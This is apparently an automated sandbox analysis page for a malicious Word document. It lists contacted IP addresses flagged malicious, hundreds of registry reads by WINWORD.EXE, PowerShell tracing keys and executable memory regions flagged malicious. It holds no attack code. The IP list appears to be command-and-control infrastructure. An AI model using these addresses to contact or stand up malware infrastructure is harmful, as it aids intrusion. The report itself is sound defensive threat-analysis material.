149.62.173.247:8080
unknown
unknown
unknown
 malicious
167.71.148.58:443
unknown
unknown
unknown
 malicious
46.105.114.137:8080
unknown
unknown
unknown
 malicious
110.39.162.2:443
unknown
unknown
unknown
 malicious
190.210.246.253:80
unknown
unknown
unknown
 malicious
81.214.253.80:443
unknown
unknown
unknown
 malicious
138.197.99.250:8080
unknown
unknown
unknown
 malicious
There are 88 hidden IPs, click here to show them.

Registry

Path
Value
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
#%8
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
<&8
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
t'8
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
VBAFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ReviewToken
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EC87D
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Agency FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aharoni
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Algerian
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Andalus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Angsana New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
AngsanaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aparajita
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arabic Typesetting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Narrow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Rounded MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Baskerville Old Face
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bauhaus 93
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bell MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bernard MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Blackadder ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Poster Compressed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Book Antiqua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookman Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookshelf Symbol 7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bradley Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Britannic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Broadway
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Browallia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BrowalliaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Brush Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Californian FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calisto MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Candara
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Castellar
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Centaur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Schoolbook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Chiller
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Colonna MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Comic Sans MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Consolas
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Constantia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cooper Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Corbel
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cordia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
CordiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Courier New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Curlz MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DaunPenh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
David
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DilleniaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DokChampa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ebrima
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Edwardian Script ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Elephant
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Engravers MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Bold ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Demi ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Light ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Medium ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Estrangelo Edessa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EucrosiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Euphemia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Felix Titling
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Footlight MT Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Forte
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Book
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Heavy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FrankRuehl
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FreesiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Freestyle Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
French Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gabriola
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Garamond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gautami
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Georgia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gigi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Ext Condensed Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gisha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gloucester MT Extra Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Stout
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Haettenschweiler
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harlow Solid Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harrington
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
High Tower Text
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Impact
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Imprint MT Shadow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Informal Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
IrisUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Iskoola Pota
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
JasmineUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Jokerman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Juice ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kalinga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kartika
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Khmer UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KodchiangUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kokila
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kristen ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kunstler Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lao UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Latha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Leelawadee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Levenim MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LilyUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Bright
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Calligraphy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Console
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Fax
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Handwriting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Typewriter
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Unicode
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Magneto
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Maiandra GD
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mangal
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Marlett
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Matura MT Script Capitals
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Himalaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft New Tai Lue
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft PhagsPa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Tai Le
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Uighur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Yi Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mistral
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Modern No. 20
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mongolian Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Monotype Corsiva
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MoolBoran
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Outlook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Specialty
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MT Extra
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MV Boli
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Narkisim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Engraved
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Solid
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Nyala
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
OCR A Extended
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Old English Text MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Onyx
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palace Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palatino Linotype
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Papyrus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Parchment
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua Titling MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Plantagenet Cherokee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Playbill
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Poor Richard
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Pristina
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Raavi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rage Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ravie
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rod
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sakkal Majalla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Script MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Print
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Semibold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shonar Bangla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Showcard Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shruti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Snap ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Stencil
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sylfaen
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tempus Sans ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Times New Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Traditional Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Trebuchet MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tunga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Utsaah
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vani
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Verdana
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vijaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Viner Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vivaldi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vladimir Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vrinda
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Webdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wide Latin
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 2
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 3
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F78C8
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LastPurgeTime
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WORDFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F78C8
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Settings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ZoomApp
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTF
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTA
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\SysWOW64\rundll32.exe
SavedLegacySettings
 clean
There are 326 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
740000
unkown image
page execute and read and write
 malicious
7E0000
unkown
page execute and read and write
 malicious
7B0000
unkown
page execute and read and write
 malicious
2D0000
unkown
page execute and read and write
 malicious
710000
unkown image
page execute and read and write
 malicious
770000
unkown image
page execute and read and write
 malicious
1B0000
unkown
page execute and read and write
 malicious
2E0000
unkown
page execute and read and write
 malicious
1C0000
unkown
page execute and read and write
 malicious
6A0000
unkown
page execute and read and write
 malicious
160000
unkown
page execute and read and write
 malicious
1E0000
unkown
page execute and read and write
 malicious
2B0000
unkown image
page execute and read and write
 malicious
510000
unkown
page execute and read and write
 malicious
210000
unkown
page execute and read and write
 malicious
240000
unkown image
page execute and read and write
 malicious
2A0000
unkown
page execute and read and write
 malicious
990000
unkown
page execute and read and write
 malicious
750000
unkown image
page execute and read and write
 malicious
B10000
unkown image
page execute and read and write
 malicious
230000
unkown image
page execute and read and write
 malicious
300000
unkown
